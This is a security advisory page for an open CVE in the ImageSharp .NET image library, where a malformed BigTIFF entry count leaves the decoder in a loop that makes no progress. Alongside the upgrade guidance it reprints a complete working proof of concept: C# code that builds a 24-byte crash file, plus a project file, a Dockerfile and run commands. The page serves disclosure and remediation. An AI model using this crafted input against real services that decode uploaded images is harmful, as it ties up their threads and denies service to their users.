---
id: "CVE-2026-106116"
kind: "vulnerability"
aliases: ["CVE-2026-106116", "GHSA-wmxv-xphr-5c9g"]
title: "ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop"
severity: "medium"
cvss: 5.3
epss: 0.00328
exploited: false
status: "open"
category: "package"
products: [{"name": "SixLabors.ImageSharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "nuget"}, {"name": "SixLabors.ImageSharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "nuget"}, {"name": "sixlabors imagesharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "vendor"}, {"name": "sixlabors imagesharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "vendor"}]
ecosystems: ["nuget", "vendor"]
tags: ["cwe-835", "dotnet", "image-upload", "nuget", "package", "self-hosted"]
not_affected_if: ["no-untrusted-images", "tiff-not-decoded", "versions-below-2.0.0"]
published_at: "2026-10-06T18:16:53+00:00"
first_seen_at: "2026-10-26T14:21:29+00:00"
updated_at: "2026-10-26T14:30:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-wmxv-xphr-5c9g", "first_seen_at": "2026-10-26T14:21:29+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106116", "first_seen_at": "2026-10-26T14:30:37+00:00"}]
---

# ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

A small malformed BigTIFF file makes the ImageSharp decoder loop for billions of iterations without consuming input, tying up one thread for seconds or longer. The impact is denial of service on whatever process decodes attacker-supplied images.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- nuget:SixLabors.ImageSharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- nuget:SixLabors.ImageSharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2
- vendor:sixlabors imagesharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- vendor:sixlabors imagesharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2

## How to check

- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` at a version from `2.0.0` up to `3.1.x` or from `4.0.0` up to `4.1.1`.
- Check the lock file (`packages.lock.json` or `obj/project.assets.json`) for the same versions.

## Fix

- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line, or to `4.1.2` on the 4.x line.
- Rebuild and redeploy services that decode images from untrusted sources.

## Timeline

- 2026-10-26T14:21:29+00:00 ghsa https://github.com/advisories/GHSA-wmxv-xphr-5c9g
- 2026-10-26T14:30:37+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-106116

## From the sources

### Summary

`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details

[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.

### Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```

### Reproduction

The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```

`timeout` exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is `1`:

```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.


### Complete PoC files

Program.cs:

```csharp
using SixLabors.ImageSharp;

static class Program
{
    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
    // The count field is controlled by the input.
    private static byte[] BuildBigTiff(ulong entryCount)
    {
        byte[] bytes = new byte[24];
        bytes[0] = 0x49; bytes[1] = 0x49;               // II
        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic
        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets
        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
        return bytes;
    }

    private static void Main(string[] args)
    {
        ulong entryCount = ulong.Parse(args[0]);
        byte[] bytes = BuildBigTiff(entryCount);
        Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
        try
        {
            using var stream = new MemoryStream(bytes);
            using Image image = Image.Load(stream);
            Console.Error.WriteLine("completed");
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
        }
    }
}

```

Project file:

```xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

```

Dockerfile:

```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

```

Run:

```sh
docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_